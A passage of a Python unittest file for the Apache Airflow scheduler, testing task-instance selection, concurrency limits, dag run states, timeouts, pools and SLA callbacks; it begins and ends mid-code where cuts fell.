self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dag_run = scheduler.create_dag_run(dag) ti1 = TI(task1, dag_run.execution_date) ti2 = TI(task2, dag_run.execution_date) ti3 = TI(task3, dag_run.execution_date) ti1.state = State.RUNNING ti2.state = State.QUEUED ti3.state = State.SCHEDULED session.merge(ti1) session.merge(ti2) session.merge(ti3) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(1, len(res)) self.assertEqual(res[0].key, ti3.key) def test_find_executable_task_instances_task_concurrency(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_task_concurrency' task_id_1 = 'dummy' task_id_2 = 'dummy2' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task1 = DummyOperator(dag=dag, task_id=task_id_1, task_concurrency=2) task2 = DummyOperator(dag=dag, task_id=task_id_2) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr3 = scheduler.create_dag_run(dag) ti1_1 = TI(task1, dr1.execution_date) ti2 = TI(task2, dr1.execution_date) ti1_1.state = State.SCHEDULED ti2.state = State.SCHEDULED session.merge(ti1_1) session.merge(ti2) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(2, len(res)) ti1_1.state = State.RUNNING ti2.state = State.RUNNING ti1_2 = TI(task1, dr2.execution_date) ti1_2.state = State.SCHEDULED session.merge(ti1_1) session.merge(ti2) session.merge(ti1_2) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(1, len(res)) ti1_2.state = State.RUNNING ti1_3 = TI(task1, dr3.execution_date) ti1_3.state = State.SCHEDULED session.merge(ti1_2) session.merge(ti1_3) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(0, len(res)) ti1_1.state = State.SCHEDULED ti1_2.state = State.SCHEDULED ti1_3.state = State.SCHEDULED session.merge(ti1_1) session.merge(ti1_2) session.merge(ti1_3) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(2, len(res)) ti1_1.state = State.RUNNING ti1_2.state = State.SCHEDULED ti1_3.state = State.SCHEDULED session.merge(ti1_1) session.merge(ti1_2) session.merge(ti1_3) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(1, len(res)) def test_change_state_for_executable_task_instances_no_tis(self): scheduler = SchedulerJob() session = settings.Session() res = scheduler._change_state_for_executable_task_instances( [], [State.NONE], session) self.assertEqual(0, len(res)) def test_change_state_for_executable_task_instances_no_tis_with_state(self): dag_id = 'SchedulerJobTest.test_change_state_for__no_tis_with_state' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=2) task1 = DummyOperator(dag=dag, task_id=task_id_1) self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr3 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti2 = TI(task1, dr2.execution_date) ti3 = TI(task1, dr3.execution_date) ti1.state = State.SCHEDULED ti2.state = State.SCHEDULED ti3.state = State.SCHEDULED session.merge(ti1) session.merge(ti2) session.merge(ti3) session.commit() res = scheduler._change_state_for_executable_task_instances( [ti1, ti2, ti3], [State.RUNNING], session) self.assertEqual(0, len(res)) def test_change_state_for_executable_task_instances_none_state(self): dag_id = 'SchedulerJobTest.test_change_state_for__none_state' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=2) task1 = DummyOperator(dag=dag, task_id=task_id_1) self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr3 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti2 = TI(task1, dr2.execution_date) ti3 = TI(task1, dr3.execution_date) ti1.state = State.SCHEDULED ti2.state = State.QUEUED ti3.state = State.NONE session.merge(ti1) session.merge(ti2) session.merge(ti3) session.commit() res = scheduler._change_state_for_executable_task_instances( [ti1, ti2, ti3], [State.NONE, State.SCHEDULED], session) self.assertEqual(2, len(res)) ti1.refresh_from_db() ti3.refresh_from_db() self.assertEqual(State.QUEUED, ti1.state) self.assertEqual(State.QUEUED, ti3.state) def test_enqueue_task_instances_with_queued_state(self): dag_id = 'SchedulerJobTest.test_enqueue_task_instances_with_queued_state' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) session.merge(ti1) session.commit() with patch.object(BaseExecutor, 'queue_command') as mock_queue_command: scheduler._enqueue_task_instances_with_queued_state(dagbag, [ti1]) mock_queue_command.assert_called() def test_execute_task_instances_nothing(self): dag_id = 'SchedulerJobTest.test_execute_task_instances_nothing' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=2) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = SimpleDagBag([]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti1.state = State.SCHEDULED session.merge(ti1) session.commit() self.assertEqual(0, scheduler._execute_task_instances(dagbag, states=[State.SCHEDULED])) def test_execute_task_instances(self): dag_id = 'SchedulerJobTest.test_execute_task_instances' task_id_1 = 'dummy_task' task_id_2 = 'dummy_task_nonexistent_queue' # important that len(tasks) is less than concurrency # because before scheduler._execute_task_instances would only # check the num tasks once so if concurrency was 3, # we could execute arbitrarily many tasks in the second run dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=3) task1 = DummyOperator(dag=dag, task_id=task_id_1) task2 = DummyOperator(dag=dag, task_id=task_id_2) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() # create first dag run with 1 running and 1 queued dr1 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti2 = TI(task2, dr1.execution_date) ti1.refresh_from_db() ti2.refresh_from_db() ti1.state = State.RUNNING ti2.state = State.RUNNING session.merge(ti1) session.merge(ti2) session.commit() self.assertEqual(State.RUNNING, dr1.state) self.assertEqual( 2, DAG.get_num_task_instances( dag_id, dag.task_ids, states=[State.RUNNING], session=session ) ) # create second dag run dr2 = scheduler.create_dag_run(dag) ti3 = TI(task1, dr2.execution_date) ti4 = TI(task2, dr2.execution_date) ti3.refresh_from_db() ti4.refresh_from_db() # manually set to scheduled so we can pick them up ti3.state = State.SCHEDULED ti4.state = State.SCHEDULED session.merge(ti3) session.merge(ti4) session.commit() self.assertEqual(State.RUNNING, dr2.state) res = scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) # check that concurrency is respected ti1.refresh_from_db() ti2.refresh_from_db() ti3.refresh_from_db() ti4.refresh_from_db() self.assertEqual( 3, DAG.get_num_task_instances( dag_id, dag.task_ids, states=[State.RUNNING, State.QUEUED], session=session ) ) self.assertEqual(State.RUNNING, ti1.state) self.assertEqual(State.RUNNING, ti2.state) six.assertCountEqual(self, [State.QUEUED, State.SCHEDULED], [ti3.state, ti4.state]) self.assertEqual(1, res) def test_execute_task_instances_limit(self): dag_id = 'SchedulerJobTest.test_execute_task_instances_limit' task_id_1 = 'dummy_task' task_id_2 = 'dummy_task_2' # important that len(tasks) is less than concurrency # because before scheduler._execute_task_instances would only # check the num tasks once so if concurrency was 3, # we could execute arbitrarily many tasks in the second run dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task1 = DummyOperator(dag=dag, task_id=task_id_1) task2 = DummyOperator(dag=dag, task_id=task_id_2) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() scheduler.max_tis_per_query = 3 session = settings.Session() tis = [] for i in range(0, 4): dr = scheduler.create_dag_run(dag) ti1 = TI(task1, dr.execution_date) ti2 = TI(task2, dr.execution_date) tis.append(ti1) tis.append(ti2) ti1.refresh_from_db() ti2.refresh_from_db() ti1.state = State.SCHEDULED ti2.state = State.SCHEDULED session.merge(ti1) session.merge(ti2) session.commit() res = scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) self.assertEqual(8, res) for ti in tis: ti.refresh_from_db() self.assertEqual(State.QUEUED, ti.state) @unittest.skipUnless("INTEGRATION" in os.environ, "The test is flaky with nondeterministic result") def test_change_state_for_tis_without_dagrun(self): dag1 = DAG(dag_id='test_change_state_for_tis_without_dagrun', start_date=DEFAULT_DATE) DummyOperator(task_id='dummy', dag=dag1, owner='airflow') DummyOperator(task_id='dummy_b', dag=dag1, owner='airflow') dag2 = DAG(dag_id='test_change_state_for_tis_without_dagrun_dont_change', start_date=DEFAULT_DATE) DummyOperator(task_id='dummy', dag=dag2, owner='airflow') dag3 = DAG(dag_id='test_change_state_for_tis_without_dagrun_no_dagrun', start_date=DEFAULT_DATE) DummyOperator(task_id='dummy', dag=dag3, owner='airflow') session = settings.Session() dr1 = dag1.create_dagrun(run_id=DagRun.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) dr2 = dag2.create_dagrun(run_id=DagRun.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti1a = dr1.get_task_instance(task_id='dummy', session=session) ti1a.state = State.SCHEDULED ti1b = dr1.get_task_instance(task_id='dummy_b', session=session) ti1b.state = State.SUCCESS session.commit() ti2 = dr2.get_task_instance(task_id='dummy', session=session) ti2.state = State.SCHEDULED session.commit() ti3 = TI(dag3.get_task('dummy'), DEFAULT_DATE) ti3.state = State.SCHEDULED session.merge(ti3) session.commit() dagbag = self._make_simple_dag_bag([dag1, dag2, dag3]) scheduler = SchedulerJob(num_runs=0) scheduler._change_state_for_tis_without_dagrun( simple_dag_bag=dagbag, old_states=[State.SCHEDULED, State.QUEUED], new_state=State.NONE, session=session) ti1a = dr1.get_task_instance(task_id='dummy', session=session) ti1a.refresh_from_db(session=session) self.assertEqual(ti1a.state, State.SCHEDULED) ti1b = dr1.get_task_instance(task_id='dummy_b', session=session) ti1b.refresh_from_db(session=session) self.assertEqual(ti1b.state, State.SUCCESS) ti2 = dr2.get_task_instance(task_id='dummy', session=session) ti2.refresh_from_db(session=session) self.assertEqual(ti2.state, State.SCHEDULED) ti3.refresh_from_db(session=session) self.assertEquals(ti3.state, State.NONE) dr1.refresh_from_db(session=session) dr1.state = State.FAILED # why o why session.merge(dr1) session.commit() scheduler._change_state_for_tis_without_dagrun( simple_dag_bag=dagbag, old_states=[State.SCHEDULED, State.QUEUED], new_state=State.NONE, session=session) ti1a.refresh_from_db(session=session) self.assertEqual(ti1a.state, State.SCHEDULED) # don't touch ti1b ti1b.refresh_from_db(session=session) self.assertEqual(ti1b.state, State.SUCCESS) # don't touch ti2 ti2.refresh_from_db(session=session) self.assertEqual(ti2.state, State.SCHEDULED) def test_change_state_for_tasks_failed_to_execute(self): dag = DAG( dag_id='dag_id', start_date=DEFAULT_DATE) task = DummyOperator( task_id='task_id', dag=dag, owner='airflow') # If there's no left over task in executor.queued_tasks, nothing happens session = settings.Session() scheduler_job = SchedulerJob() mock_logger = mock.MagicMock() test_executor = TestExecutor() scheduler_job.executor = test_executor scheduler_job._logger = mock_logger scheduler_job._change_state_for_tasks_failed_to_execute() mock_logger.info.assert_not_called() # Tasks failed to execute with QUEUED state will be set to SCHEDULED state. session.query(TI).delete() session.commit() key = 'dag_id', 'task_id', DEFAULT_DATE, 1 test_executor.queued_tasks[key] = 'value' ti = TI(task, DEFAULT_DATE) ti.state = State.QUEUED session.merge(ti) session.commit() scheduler_job._change_state_for_tasks_failed_to_execute() ti.refresh_from_db() self.assertEquals(State.SCHEDULED, ti.state) # Tasks failed to execute with RUNNING state will not be set to SCHEDULED state. session.query(TI).delete() session.commit() ti.state = State.RUNNING session.merge(ti) session.commit() scheduler_job._change_state_for_tasks_failed_to_execute() ti.refresh_from_db() self.assertEquals(State.RUNNING, ti.state) def test_execute_helper_reset_orphaned_tasks(self): session = settings.Session() dag = DAG( 'test_execute_helper_reset_orphaned_tasks', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}) with dag: op1 = DummyOperator(task_id='op1') dag.clear() dr = dag.create_dagrun(run_id=DagRun.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) dr2 = dag.create_dagrun(run_id=BackfillJob.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE + datetime.timedelta(1), start_date=DEFAULT_DATE, session=session) ti = dr.get_task_instance(task_id=op1.task_id, session=session) ti.state = State.SCHEDULED ti2 = dr2.get_task_instance(task_id=op1.task_id, session=session) ti2.state = State.SCHEDULED session.commit() processor = mock.MagicMock() scheduler = SchedulerJob(num_runs=0) executor = TestExecutor() scheduler.executor = executor scheduler.processor_agent = processor scheduler._execute_helper() ti = dr.get_task_instance(task_id=op1.task_id, session=session) self.assertEqual(ti.state, State.NONE) ti2 = dr2.get_task_instance(task_id=op1.task_id, session=session) self.assertEqual(ti2.state, State.SCHEDULED) @provide_session def evaluate_dagrun( self, dag_id, expected_task_states, # dict of task_id: state dagrun_state, run_kwargs=None, advance_execution_date=False, session=None): """ Helper for testing DagRun states with simple two-task DAGS. This is hackish: a dag run is created but its tasks are run by a backfill. """ if run_kwargs is None: run_kwargs = {} scheduler = SchedulerJob() dag = self.dagbag.get_dag(dag_id) dag.clear() dr = scheduler.create_dag_run(dag) if advance_execution_date: # run a second time to schedule a dagrun after the start_date dr = scheduler.create_dag_run(dag) ex_date = dr.execution_date try: dag.run(start_date=ex_date, end_date=ex_date, **run_kwargs) except AirflowException: pass # test tasks for task_id, expected_state in expected_task_states.items(): task = dag.get_task(task_id) ti = TI(task, ex_date) ti.refresh_from_db() self.assertEqual(ti.state, expected_state) # load dagrun dr = DagRun.find(dag_id=dag_id, execution_date=ex_date) dr = dr[0] dr.dag = dag self.assertEqual(dr.state, dagrun_state) def test_dagrun_fail(self): """ DagRuns with one failed and one incomplete root task -> FAILED """ self.evaluate_dagrun( dag_id='test_dagrun_states_fail', expected_task_states={ 'test_dagrun_fail': State.FAILED, 'test_dagrun_succeed': State.UPSTREAM_FAILED, }, dagrun_state=State.FAILED) def test_dagrun_success(self): """ DagRuns with one failed and one successful root task -> SUCCESS """ self.evaluate_dagrun( dag_id='test_dagrun_states_success', expected_task_states={ 'test_dagrun_fail': State.FAILED, 'test_dagrun_succeed': State.SUCCESS, }, dagrun_state=State.SUCCESS) def test_dagrun_root_fail(self): """ DagRuns with one successful and one failed root task -> FAILED """ self.evaluate_dagrun( dag_id='test_dagrun_states_root_fail', expected_task_states={ 'test_dagrun_succeed': State.SUCCESS, 'test_dagrun_fail': State.FAILED, }, dagrun_state=State.FAILED) def test_dagrun_root_fail_unfinished(self): """ DagRuns with one unfinished and one failed root task -> RUNNING """ # Run both the failed and successful tasks scheduler = SchedulerJob() dag_id = 'test_dagrun_states_root_fail_unfinished' dag = self.dagbag.get_dag(dag_id) dag.clear() dr = scheduler.create_dag_run(dag) try: dag.run(start_date=dr.execution_date, end_date=dr.execution_date) except AirflowException: # Expect an exception since there is a failed task pass # Mark the successful task as never having run since we want to see if the # dagrun will be in a running state despite haveing an unfinished task. with create_session() as session: ti = dr.get_task_instance('test_dagrun_unfinished', session=session) ti.state = State.NONE session.commit() dr_state = dr.update_state() self.assertEqual(dr_state, State.RUNNING) def test_dagrun_deadlock_ignore_depends_on_past_advance_ex_date(self): """ DagRun is marked a success if ignore_first_depends_on_past=True Test that an otherwise-deadlocked dagrun is marked as a success if ignore_first_depends_on_past=True and the dagrun execution_date is after the start_date. """ self.evaluate_dagrun( dag_id='test_dagrun_states_deadlock', expected_task_states={ 'test_depends_on_past': State.SUCCESS, 'test_depends_on_past_2': State.SUCCESS, }, dagrun_state=State.SUCCESS, advance_execution_date=True, run_kwargs=dict(ignore_first_depends_on_past=True)) def test_dagrun_deadlock_ignore_depends_on_past(self): """ Test that ignore_first_depends_on_past doesn't affect results (this is the same test as test_dagrun_deadlock_ignore_depends_on_past_advance_ex_date except that start_date == execution_date so depends_on_past is irrelevant). """ self.evaluate_dagrun( dag_id='test_dagrun_states_deadlock', expected_task_states={ 'test_depends_on_past': State.SUCCESS, 'test_depends_on_past_2': State.SUCCESS, }, dagrun_state=State.SUCCESS, run_kwargs=dict(ignore_first_depends_on_past=True)) def test_scheduler_start_date(self): """ Test that the scheduler respects start_dates, even when DAGS have run """ with create_session() as session: dag_id = 'test_start_date_scheduling' dag = self.dagbag.get_dag(dag_id) dag.clear() self.assertTrue(dag.start_date > datetime.datetime.utcnow()) scheduler = SchedulerJob(dag_id, num_runs=2) scheduler.run() # zero tasks ran self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 0) session.commit() # previously, running this backfill would kick off the Scheduler # because it would take the most recent run and start from there # That behavior still exists, but now it will only do so if after the # start date backfill = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE) backfill.run() # one task ran self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 1) session.commit() scheduler = SchedulerJob(dag_id, num_runs=2) scheduler.run() # still one task self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 1) session.commit() def test_scheduler_task_start_date(self): """ Test that the scheduler respects task start dates that are different from DAG start dates """ dag_id = 'test_task_start_date_scheduling' dag = self.dagbag.get_dag(dag_id) dag.clear() scheduler = SchedulerJob(dag_id, num_runs=2) scheduler.run() session = settings.Session() tiq = session.query(TI).filter(TI.dag_id == dag_id) ti1s = tiq.filter(TI.task_id == 'dummy1').all() ti2s = tiq.filter(TI.task_id == 'dummy2').all() self.assertEqual(len(ti1s), 0) self.assertEqual(len(ti2s), 2) for t in ti2s: self.assertEqual(t.state, State.SUCCESS) def test_scheduler_multiprocessing(self): """ Test that the scheduler can successfully queue multiple dags in parallel """ dag_ids = ['test_start_date_scheduling', 'test_dagrun_states_success'] for dag_id in dag_ids: dag = self.dagbag.get_dag(dag_id) dag.clear() scheduler = SchedulerJob(dag_ids=dag_ids, num_runs=2) scheduler.run() # zero tasks ran dag_id = 'test_start_date_scheduling' session = settings.Session() self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 0) def test_scheduler_dagrun_once(self): """ Test if the scheduler does not create multiple dagruns if a dag is scheduled with @once and a start_date """ dag = DAG( 'test_scheduler_dagrun_once', start_date=timezone.datetime(2015, 1, 1), schedule_interval="@once") scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) dr = scheduler.create_dag_run(dag) self.assertIsNone(dr) def test_scheduler_process_task_instances(self): """ Test if _process_task_instances puts the right task instances into the queue. """ dag = DAG( dag_id='test_scheduler_process_execute_task', start_date=DEFAULT_DATE) dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) queue = Mock() scheduler._process_task_instances(dag, queue=queue) queue.append.assert_called_with( (dag.dag_id, dag_task1.task_id, DEFAULT_DATE, TRY_NUMBER) ) def test_scheduler_do_not_schedule_removed_task(self): dag = DAG( dag_id='test_scheduler_do_not_schedule_removed_task', start_date=DEFAULT_DATE) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) dag = DAG( dag_id='test_scheduler_do_not_schedule_removed_task', start_date=DEFAULT_DATE) queue = Mock() scheduler._process_task_instances(dag, queue=queue) queue.put.assert_not_called() def test_scheduler_do_not_schedule_too_early(self): dag = DAG( dag_id='test_scheduler_do_not_schedule_too_early', start_date=timezone.datetime(2200, 1, 1)) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNone(dr) queue = Mock() scheduler._process_task_instances(dag, queue=queue) queue.put.assert_not_called() def test_scheduler_do_not_run_finished(self): dag = DAG( dag_id='test_scheduler_do_not_run_finished', start_date=DEFAULT_DATE) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) tis = dr.get_task_instances(session=session) for ti in tis: ti.state = State.SUCCESS session.commit() session.close() queue = Mock() scheduler._process_task_instances(dag, queue=queue) queue.put.assert_not_called() def test_scheduler_add_new_task(self): """ Test if a task instance will be added if the dag is updated """ dag = DAG( dag_id='test_scheduler_add_new_task', start_date=DEFAULT_DATE) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) tis = dr.get_task_instances() self.assertEquals(len(tis), 1) DummyOperator( task_id='dummy2', dag=dag, owner='airflow') queue = Mock() scheduler._process_task_instances(dag, queue=queue) tis = dr.get_task_instances() self.assertEquals(len(tis), 2) def test_scheduler_verify_max_active_runs(self): """ Test if a a dagrun will not be scheduled if max_dag_runs has been reached """ dag = DAG( dag_id='test_scheduler_verify_max_active_runs', start_date=DEFAULT_DATE) dag.max_active_runs = 1 DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) dr = scheduler.create_dag_run(dag) self.assertIsNone(dr) def test_scheduler_fail_dagrun_timeout(self): """ Test if a a dagrun wil be set failed if timeout """ dag = DAG( dag_id='test_scheduler_fail_dagrun_timeout', start_date=DEFAULT_DATE) dag.dagrun_timeout = datetime.timedelta(seconds=60) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) dr.start_date = timezone.utcnow() - datetime.timedelta(days=1) session.merge(dr) session.commit() dr2 = scheduler.create_dag_run(dag) self.assertIsNotNone(dr2) dr.refresh_from_db(session=session) self.assertEquals(dr.state, State.FAILED) def test_scheduler_verify_max_active_runs_and_dagrun_timeout(self): """ Test if a a dagrun will not be scheduled if max_dag_runs has been reached and dagrun_timeout is not reached Test if a a dagrun will be scheduled if max_dag_runs has been reached but dagrun_timeout is also reached """ dag = DAG( dag_id='test_scheduler_verify_max_active_runs_and_dagrun_timeout', start_date=DEFAULT_DATE) dag.max_active_runs = 1 dag.dagrun_timeout = datetime.timedelta(seconds=60) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) # Should not be scheduled as DagRun has not timedout and max_active_runs is reached new_dr = scheduler.create_dag_run(dag) self.assertIsNone(new_dr) # Should be scheduled as dagrun_timeout has passed dr.start_date = timezone.utcnow() - datetime.timedelta(days=1) session.merge(dr) session.commit() new_dr = scheduler.create_dag_run(dag) self.assertIsNotNone(new_dr) def test_scheduler_max_active_runs_respected_after_clear(self): """ Test if _process_task_instances only schedules ti's up to max_active_runs (related to issue AIRFLOW-137) """ dag = DAG( dag_id='test_scheduler_max_active_runs_respected_after_clear', start_date=DEFAULT_DATE) dag.max_active_runs = 3 dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() # First create up to 3 dagruns in RUNNING state. scheduler.create_dag_run(dag) # Reduce max_active_runs to 1 dag.max_active_runs = 1 queue = Mock() # and schedule them in, so we can check how many # tasks are put on the queue (should be one, not 3) scheduler._process_task_instances(dag, queue=queue) queue.append.assert_called_with( (dag.dag_id, dag_task1.task_id, DEFAULT_DATE, TRY_NUMBER) ) @patch.object(TI, 'pool_full') def test_scheduler_verify_pool_full(self, mock_pool_full): """ Test task instances not queued when pool is full """ mock_pool_full.return_value = False dag = DAG( dag_id='test_scheduler_verify_pool_full', start_date=DEFAULT_DATE) DummyOperator( task_id='dummy', dag=dag, owner='airflow', pool='test_scheduler_verify_pool_full') session = settings.Session() pool = Pool(pool='test_scheduler_verify_pool_full', slots=1) session.add(pool) orm_dag = DagModel(dag_id=dag.dag_id) orm_dag.is_paused = False session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() # Create 2 dagruns, which will create 2 task instances. dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) self.assertEquals(dr.execution_date, DEFAULT_DATE) dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) queue = [] scheduler._process_task_instances(dag, queue=queue) self.assertEquals(len(queue), 2) dagbag = self._make_simple_dag_bag([dag]) # Recreated part of the scheduler here, to kick off tasks -> executor for ti_key in queue: task = dag.get_task(ti_key[1]) ti = TI(task, ti_key[2]) # Task starts out in the scheduled state. All tasks in the # scheduled state will be sent to the executor ti.state = State.SCHEDULED # Also save this task instance to the DB. session.merge(ti) session.commit() scheduler._execute_task_instances(dagbag, (State.SCHEDULED, State.UP_FOR_RETRY)) self.assertEquals(len(scheduler.executor.queued_tasks), 1) def test_scheduler_auto_align(self): """ Test if the schedule_interval will be auto aligned with the start_date such that if the start_date coincides with the schedule the first execution_date will be start_date, otherwise it will be start_date + interval. """ dag = DAG( dag_id='test_scheduler_auto_align_1', start_date=timezone.datetime(2016, 1, 1, 10, 10, 0), schedule_interval="4 5 * * *" ) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) self.assertEquals(dr.execution_date, timezone.datetime(2016, 1, 2, 5, 4)) dag = DAG( dag_id='test_scheduler_auto_align_2', start_date=timezone.datetime(2016, 1, 1, 10, 10, 0), schedule_interval="10 10 * * *" ) DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) self.assertEquals(dr.execution_date, timezone.datetime(2016, 1, 1, 10, 10)) def test_scheduler_reschedule(self): """ Checks if tasks that are not taken up by the executor get rescheduled """ executor = TestExecutor() dagbag = DagBag(executor=executor) dagbag.dags.clear() dagbag.executor = executor dag = DAG( dag_id='test_scheduler_reschedule', start_date=DEFAULT_DATE) DummyOperator( task_id='dummy', dag=dag, owner='airflow') dag.clear() dag.is_subdag = False session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) orm_dag.is_paused = False session.merge(orm_dag) session.commit() dagbag.bag_dag(dag=dag, root_dag=dag, parent_dag=dag) @mock.patch('airflow.models.DagBag', return_value=dagbag) @mock.patch('airflow.models.DagBag.collect_dags') def do_schedule(function, function2): # Use a empty file since the above mock will return the # expected DAGs. Also specify only a single file so that it doesn't # try to schedule the above DAG repeatedly. scheduler = SchedulerJob(num_runs=1, executor=executor, subdir=os.path.join(settings.DAGS_FOLDER, "no_dags.py")) scheduler.heartrate = 0 scheduler.run() do_schedule() self.assertEquals(1, len(executor.queued_tasks)) executor.queued_tasks.clear() do_schedule() self.assertEquals(2, len(executor.queued_tasks)) def test_scheduler_sla_miss_callback(self): """ Test that the scheduler does not call the sla_miss_callback when a notification has already been sent """ session = settings.Session() # Mock the callback function so we can verify that it was not called sla_callback = MagicMock() # Create dag with a start of 2 days ago, but an sla of 1 day # ago so we'll already have an sla_miss on the books test_start_date = days_ago(2) dag = DAG(dag_id='test_sla_miss', sla_miss_callback=sla_callback, default_args={'start_date': test_start_date, 'sla': datetime.timedelta(days=1)}) task = DummyOperator(task_id='dummy', dag=dag, owner='airflow') # Create a TaskInstance for two days ago session.merge(models.TaskInstance(task=task, execution_date=test_start_date, state='success')) # Create an SlaMiss where notification was sent, but email was not session.merge(models.SlaMiss(task_id='dummy', dag_id='test_sla_miss', execution_date=test_start_date, email_sent=False, notification_sent=True)) # Now call manage_slas and see if the sla_miss callback gets called scheduler = SchedulerJob(dag_id='test_sla_miss', num_runs=1) scheduler.manage_slas(dag=dag, session=session) sla_callback.assert_not_called() def test_scheduler_sla_miss_callback_exception(self): """ Test that the scheduler gracefully logs an exception if there is a problem calling the sla_miss_callback """ session = settings.Session() sla_callback = MagicMock(side_effect=RuntimeError('Could not call function')) test_start_date = days_ago(2) dag = DAG(dag_id='test_sla_miss', sla_miss_callback=sla_callback, 